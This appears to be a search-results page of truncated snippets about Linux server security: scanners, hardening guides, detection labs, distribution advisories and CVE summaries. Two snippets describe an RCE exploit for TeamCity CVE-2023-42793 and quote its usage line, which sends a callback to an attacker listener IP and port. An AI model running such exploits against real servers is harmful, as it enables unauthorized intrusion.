395 matches found
pyfiscan
pyfiscan 概要 Pyfiscan はフリーのウェブアプリケーション脆弱性・バージョンスキャナーで、Linux サーバー上で一般的なウェブアプリケーションの古いバージョンを特定するために使用できます。使用例としては、ホスティングプロバイダーがユーザーのインストール環境を監視し、セキュリティアップデートに対応できるようにすることが挙げられます。フィンガープリントは YAML 構文で記述可能なため、簡単に作成・変更できます。また、Pyfiscan にはテンプレートを使用してメールアラートを作成するツールも含まれています。 必要条件 Python 3 Python モジュール PyYAM...
attack_range
Splunk Attack Range v5 The Splunk Attack Range builds instrumented cloud environments AWS, Azure, GCP, simulates attacks, and forwards data into Splunk for detection development and testing. What it does: Build labs — Deploy a small, production-like lab Splunk, Windows/Linux servers, optional Kal...
DECEIVE
DECEIVE DECEIVE（DECeption with Evaluative Integrated Validation Engine...
How-To-Secure-A-Linux-Server
Linuxサーバーをセキュアにする方法 Linuxサーバーをセキュアにするための進化するハウツーガイドです。セキュリティとその重要性について少しでも学べることを願っています。 目次 はじめに ガイドの目的 サーバーをセキュアにする理由 なぜまた別のガイドなのか 他のガイド To Do / 追加予定 ガイド概要 このガイドについて 私のユースケース 設定ファイルの編集 - 怠け者のために 貢献 始める前に 原則を明確にする Linuxディストリビューションの選択 Linuxのインストール インストール前後の要件 その他の重要な注意事項 Ansible...
security checks
🔍 Miner Hunter Linuxサーバ向け暗号通貨マイナー検出・削除・堅牢化ツールキット 実際のインシデントレスポンスから構築 — ps、top、htop、btop からルートキット技術を用いて隠れるマイナーを検出します。 📦 インストール git clone https://gitlab.com/abdom.seada/security-checks.git cd security-checks sudo bash setup.sh 🔀 ブランチ: master — このツールキットは master...
SecureOps-Lab
SecureOps Lab - 实时网络安全评估 概述 对一台大学 Linux 服务器执行了实时网络安全评估。分析过程中发现了活跃的攻击活动，包括暴力破解认证尝试和针对 Log4Shell CVE-2021-44228 的利用尝试。 “协调 IP”指多个源自同一子网的恶意 IP 地址，表明攻击者使用了共享的攻击基础设施或自动化攻击工具同时对系统进行攻击。 威胁分析与发现 暴力破解攻击 检测到来自单个外部 IP 的 144 次失败的 SSH 登录尝试 模式分析显示认证尝试速度极快，与自动化凭据填充行为一致 Log4Shell 利用尝试 在日志中识别出与 CVE-2021-44228...
CVE-2023-42793
关于 CVE-2023-42793 你需要先通过使用不同的漏洞利用来获取令牌。然而，以下漏洞利用将允许你获取对 Linux 服务器的 RCE，因为它将有效载荷编码在 URL 中并将其发送到服务器。 使用方法 python3 ./main -t TEAMCITYTOKEN -u http://teamcity.runner.htb -p 80 -ni LISTENERIP -np LISTENERPORT...
CVE-2023-42793
CVE-2023-42793について まず別のエクスプロイトを使用してトークンを取得する必要があります。ただし、以下のエクスプロイトはペイロードをURLにエンコードしてサーバーに送信するため、Linuxサーバー上でRCEを取得できます。 使用方法 root@kitploit: python3 ./main -t TEAMCITYTOKEN -u http://teamcity.runner.htb -p 80 -ni LISTENERIP -np LISTENERPORT...
[SECURITY] Fedora 43 Update: cockpit-367-1.fc43
The Cockpit Web Console enables users to administer GNU/Linux servers using a web browser. It offers network configuration, log inspection, diagnostic reports, SELinux troubleshooting, interactive command-line sessions, and more...
SUSE SLED15 / SLES15 Security Update : openexr (SUSE-SU-2026:3169-1)
The remote SUSE Linux SLED15 / SLEDSAP15 / SLES15 / SLESSAP15 host has packages installed that are affected by multiple vulnerabilities as referenced in the SUSE-SU-2026:3169-1 advisory. This update for openexr fixes the following issues - CVE-2026-54920: unchecked integer overflows in...
CVE-2026-52101
An issue in andreimarcu linux-server v.1.0 through v.2.3.8 allows a remote attacker to obtain sensitive information via the function uploadRemote function in upload.go...
CVE-2026-52100
Cross Site Request Forgery vulnerability in andreimarcu linux-server v.1.0 through v.2.3.8 allows a remote attacker to execute arbitrary code via the uploadPutHandler function...
CVE-2026-47481
NVIDIA Triton Inference Server for Linux contains a vulnerability where an attacker can cause an authentication bypass through an alternative path or channel. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, information disclosure, and data...
CVE-2026-47481
CVE-2026-47481 affects NVIDIA Triton Inference Server for Linux. The vulnerability enables authentication bypass via an alternative path or channel, with potential for code execution, privilege escalation, information disclosure, and data tampering. NVIDIA’s security bulletin indicates remediatio...
CVE-2026-47478
NVIDIA Triton Inference Server for Linux contains a vulnerability where an attacker can cause the use of an expired file descriptor. A successful exploit of this vulnerability might lead to denial of service...
CVE-2026-47477
The CVE-2026-47477 entry affects NVIDIA Triton Inference Server for Linux. Root cause: a stack-based buffer overflow in a component used by the server, which can lead to a Denial of Service. Impact: availability loss with attacker-initiated network access (no authentication, no user interaction)....
PT-2026-58825
An issue in andreimarcu linux-server v.1.0 through v.2.3.8 allows a remote attacker to obtain sensitive information via the function uploadRemote function in upload.go...
CVE-2026-52101: Exposure of Sensitive Information to an Unauthorized Actor
An issue in andreimarcu linux-server v.1.0 through v.2.3.8 allows a remote attacker to obtain sensitive information via the function uploadRemote function in upload.go...
